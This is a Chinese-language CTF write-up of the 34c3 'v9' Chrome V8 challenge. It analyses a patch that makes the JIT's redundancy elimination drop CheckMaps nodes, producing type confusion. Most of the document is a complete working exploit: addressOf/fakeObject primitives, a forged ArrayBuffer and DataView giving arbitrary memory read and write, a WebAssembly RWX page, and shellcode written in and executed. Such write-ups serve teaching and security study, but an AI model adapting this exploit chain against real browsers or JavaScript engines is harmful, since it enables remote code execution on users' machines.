Wiki/Pwn/ChromeV8-Exploit/34c3_v9/README.md
2024-09-23 09:45:15 +08:00

10 KiB
Raw Permalink Blame History

34c3 v9

题目分析

题目给了一个patch​文件,在redundancy-elimination​阶段增加一个对kCheckMaps​的优化:

diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index b91b82e766..02c1e71203 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -26,6 +26,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
     case IrOpcode::kCheckHeapObject:
     case IrOpcode::kCheckIf:
     case IrOpcode::kCheckInternalizedString:
+    case IrOpcode::kCheckMaps:
     case IrOpcode::kCheckNotTaggedHole:
     case IrOpcode::kCheckNumber:
     case IrOpcode::kCheckReceiver:
@@ -158,8 +159,8 @@ bool CheckSubsumes(Node const* a, Node const* b) {
         case IrOpcode::kCheckedUint32ToInt32:
         case IrOpcode::kCheckedUint32ToTaggedSigned:
         case IrOpcode::kCheckedUint64Bounds:
-        case IrOpcode::kCheckedUint64ToInt32:
         case IrOpcode::kCheckedUint64ToTaggedSigned:
+        case IrOpcode::kCheckedUint64ToInt32:
           break;
         case IrOpcode::kCheckedFloat64ToInt32:
         case IrOpcode::kCheckedFloat64ToInt64:
@@ -188,6 +189,15 @@ bool CheckSubsumes(Node const* a, Node const* b) {
           }
           break;
         }
+        case IrOpcode::kCheckMaps: {
+            // CheckMaps are compatible if the first checks a subset of the second.
+            ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+            ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+            if (!b_maps.contains(a_maps)) {
+                return false;
+            }
+            break;
+        }
         default:
           DCHECK(!IsCheckedWithFeedback(a->op()));
           return false;

由于某些原因,拿不到对应版本的源码,这里用最新版源码分析逻辑过程。首先在函数Reduction RedundancyElimination::Reduce(Node* node)​中,添加的case IrOpcode::kCheckMaps​会调用ReduceCheckNode(node)

Reduction RedundancyElimination::ReduceCheckNode(Node* node) {
  Node* const effect = NodeProperties::GetEffectInput(node);
  EffectPathChecks const* checks = node_checks_.Get(effect);
  // If we do not know anything about the predecessor, do not propagate just yet
  // because we will have to recompute anyway once we compute the predecessor.
  if (checks == nullptr) return NoChange();
  // See if we have another check that dominates us.
  if (Node* check = checks->LookupCheck(node, jsgraph_)) {
    ReplaceWithValue(node, check);
    return Replace(check);
  }

  // Learn from this check.
  return UpdateChecks(node, checks->AddCheck(zone(), node));
}

ReduceCheckNode(node)​通过checks->LookupCheck(node, jsgraph_)​判断是否存在check​可以代替当前结点的check

Node* RedundancyElimination::EffectPathChecks::LookupCheck(
    Node* node, JSGraph* jsgraph) const {
  for (Check const* check = head_; check != nullptr; check = check->next) {
    Subsumption subsumption =
        CheckSubsumes(check->node, node, jsgraph->machine());
    if (!subsumption.IsNone() && TypeSubsumes(node, check->node)) {
      DCHECK(!check->node->IsDead());
      Node* result = check->node;
      if (subsumption.IsWithConversion()) {
        result = jsgraph->graph()->NewNode(subsumption.conversion_operator(),
                                           result);
      }
      return result;
    }
  }
  return nullptr;
}

进入LookupCheck​后,遍历check​链,大致意思是通过CheckSubsumes​判断check​链上是否有结点包含当前传入结点的判断条件,如果有的话则用该check​结点代替当前结点的check​结点:

// Does check {a} subsume check {b}?
Subsumption CheckSubsumes(Node const* a, Node const* b,
                          MachineOperatorBuilder* machine) {
	case IrOpcode::kCheckMaps: {
		// CheckMaps are compatible if the first checks a subset of the second.
		ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
		ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
		if (!b_maps.contains(a_maps)) {
			return false;
		}
		break;
	}
}

总结来看,这个优化是对CheckMaps​结点的优化,在图上存在CheckMaps​结点包含关系时,会消除被包含的结点。而如果两个结点之间对Map​进行了修改,则会因为缺少被删除的CheckMaps​结点,导致类型混淆。

漏洞分析

具体来看一个例子:

let a = [.1];

function trigger(callback) {
    a[0];
    callback();
    return a[0];
}
trigger(() => { });
%OptimizeFunctionOnNextCall(trigger);
trigger(() => { });

在两次调用a[0]​前,会生成CheckMaps​结点:

image

由于callback()​始终未修改a[0]​的类型,即第一个CheckMaps​包含第二个CheckMaps​的判断情况,因此在LoadEliminationPhase​将第二个结点删除:

image

而如果在优化后,传入修改a[0]​类型的函数,由于返回之前缺少CheckMaps​检查,后续代码仍是优化后的,将a[0]​视作double​类型进行处理的机器码,因此会造成类型混淆。

漏洞利用

原语构造

据上述分析,我们可以构造出addressOf​和fakeObject​原语:

function addressOf(obj) {
    let a = [.1];
  
    function trigger(callback) {
        a[0];
        callback();
        return a[0];
    }
    for(let i = 0; i <= 100000; ++i) {
        trigger(() => { });
    }
    return d2u(
        trigger(() => {
            a[0] = obj; 
        }
    ));
}

function fakeObject(addr) {
    let a = [.1];
    function trigger(callback) {
        a[0];
        callback();
        a[0] = addr;
    }
    for(let i = 0; i <= 100000; ++i) {
        trigger(() => { });
    }
    trigger(() => {
        a[0] = {}; 
    });
    return a[0];
}

我们使用如下代码进行测试:

var oob_array = [.1, .2];

addr = addressOf(array_buffer);
print("[*] Address of array_buffer: " + hex(addr));

var obj = fakeObject(u2d(addr));
%DebugPrint(array_buffer);

但是这与我们预期结果不同原因是由于GC的行为代码执行时会在第二次调用原语时导致传入的对象被移动到内存的其他位置造成地址的不同

v8@ubuntu:~/games/JIT/34c3_v9/exp$ ../x64.release/d8 ./test.js --allow-natives-syntax
[*] Address of array_buffer: 0x000031621820bf81
0x1186d6682cf9 <ArrayBuffer map = 0x2bb044b421b9>

我们需要首先消除GC的这种影响

function gc() {
    for (let i = 0; i < 0x10; i++) {
        new Array(0x100000);
    }
}

之后的利用步骤类似于StarCTF2019 OOB直接给出exp

function gc() {
    for (let i = 0; i < 0x10; i++) {
        new Array(0x100000);
    }
}

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}



function addressOf(obj) {
    let a = [.1];
    function trigger(callback) {
        a[0];
        callback();
        return a[0];
    }
    for(var i = 0; i < 100000; ++i) {
        trigger(() => { });
    }
    function evil_callback() {
        a[0] = obj; 
    }
    return d2u(trigger(evil_callback));
}

function addressOf2(obj) {
    let a = [.1];
    function trigger(callback) {
        a[0];
        callback();
        return a[0];
    }
    for(var i = 0; i < 100000; ++i) {
        trigger(() => { });
    }
    function evil_callback() {
        a[0] = obj; 
    }
    return d2u(trigger(evil_callback));
}


function fakeObject(addr) {
    let a = [.1];
    function trigger(callback) {
        a[0];
        callback();
        a[0] = addr;
    }
    function evil_callback() {
        a[0] = {}; 
    }
    for(var i = 0; i < 100000; ++i) {
        trigger(() => { });
    }
    trigger(evil_callback);
    return a[0];
}

ab = new ArrayBuffer(0x1000);
gc();

var float_ab_mem = [
    u2d(0n),                        // Map
    u2d(0n),                        // Properties
    u2d(0n),                        // Elements
    u2d(0x1000n),                   // ByteLength
    u2d(0n),                        // BackingStore
    u2d(0n),                        // Map
    u2d(0x1900042317080808n),       // Type
];


gc();


// %DebugPrint(array_buffer);
// %DebugPrint(float_ab_mem);
var fake_ab_addr = addressOf(float_ab_mem) + 0x30n;
float_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
// %SystemBreak();
var fake_ab = fakeObject(u2d(fake_ab_addr));
var fake_dv = new DataView(fake_ab);


function arb_read_qword(addr) {
    float_ab_mem[4] = u2d(addr);
    return fake_dv.getBigUint64(0, true);
}

function arb_write_qword(addr, value) {
    float_ab_mem[4] = u2d(addr);
    return fake_dv.setBigUint64(0, value, true);
}

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
    128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
    0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
    0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
    97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
    42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;

var rwx_mem_addr = arb_read_qword(addressOf2(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));

var shellcode = [
    0x636c6163782fb848n,
    0x73752fb848500000n,
    0x8948506e69622f72n,
    0x89485750c03148e7n,
    0x3ac0c748d23148e6n,
    0x4944b84850000030n,
    0x48503d59414c5053n,
    0x485250c03148e289n,
    0x00003bc0c748e289n,
    0x0000000000050f00n
]


for (let i = 0; i < shellcode.length; i++) {
    arb_write_qword(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}

f();